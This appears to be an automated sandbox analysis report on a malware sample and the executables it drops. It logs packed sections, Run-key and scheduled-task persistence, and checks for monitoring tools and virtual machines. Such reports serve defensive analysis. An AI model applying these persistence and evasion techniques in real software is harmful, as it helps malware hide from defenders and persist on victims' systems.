Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7E49F push es; retf	27_3_00D7E4A0
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7E49F push es; retf	27_3_00D7E4A0
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7E49F push es; retf	27_3_00D7E4A0
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7E49F push es; retf	27_3_00D7E4A0
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7E49F push es; retf	27_3_00D7E4A0
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D8072B push ebp; iretw	27_3_00D80750
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D8072B push ebp; iretw	27_3_00D80750
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D8072B push ebp; iretw	27_3_00D80750
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D8072B push ebp; iretw	27_3_00D80750
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D8072B push ebp; iretw	27_3_00D80750
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7F02B push edi; ret	27_3_00D7F041
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7F02B push edi; ret	27_3_00D7F041
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7F02B push edi; ret	27_3_00D7F041
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7F02B push edi; ret	27_3_00D7F041
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D7F02B push edi; ret	27_3_00D7F041
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D80444 push ebx; retf	27_3_00D80456
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D80444 push ebx; retf	27_3_00D80456
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D80444 push ebx; retf	27_3_00D80456
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D80444 push ebx; retf	27_3_00D80456
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Code function: 27_3_00D80444 push ebx; retf	27_3_00D80456

Source: file.exe	Static PE information: section name: cyeoavrb entropy: 7.953762189184961
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: entropy: 7.988476823473732
Source: DocumentsHDGCAAFBFB.exe.0.dr	Static PE information: section name: lcjijwvn entropy: 7.954169323941932
Source: random[1].exe.0.dr	Static PE information: section name: ezqiassj entropy: 7.9564120832257235
Source: skotes.exe.23.dr	Static PE information: section name: entropy: 7.988476823473732
Source: skotes.exe.23.dr	Static PE information: section name: lcjijwvn entropy: 7.954169323941932
Source: 9b3207e1a5.exe.24.dr	Static PE information: section name: ezqiassj entropy: 7.9564120832257235
Source: random[1].exe.24.dr	Static PE information: section name: entropy: 7.974706347218731
Source: random[1].exe.24.dr	Static PE information: section name: wwpoecnv entropy: 7.954531682728999
Source: 7250ce8e20.exe.24.dr	Static PE information: section name: entropy: 7.974706347218731
Source: 7250ce8e20.exe.24.dr	Static PE information: section name: wwpoecnv entropy: 7.954531682728999
Source: random[1].exe0.24.dr	Static PE information: section name: cyeoavrb entropy: 7.953762189184961
Source: 35e66d06ff.exe.24.dr	Static PE information: section name: cyeoavrb entropy: 7.953762189184961
Source: random[2].exe0.24.dr	Static PE information: section name: entropy: 7.7655065954677625
Source: 8865d2703a.exe.24.dr	Static PE information: section name: entropy: 7.7655065954677625

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHDGCAAFBFB.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsHDGCAAFBFB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHDGCAAFBFB.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 35e66d06ff.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8865d2703a.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7250ce8e20.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dd2bc11318.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHDGCAAFBFB.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7250ce8e20.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7250ce8e20.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 35e66d06ff.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 35e66d06ff.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dd2bc11318.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dd2bc11318.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8865d2703a.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8865d2703a.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9B55F0

Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
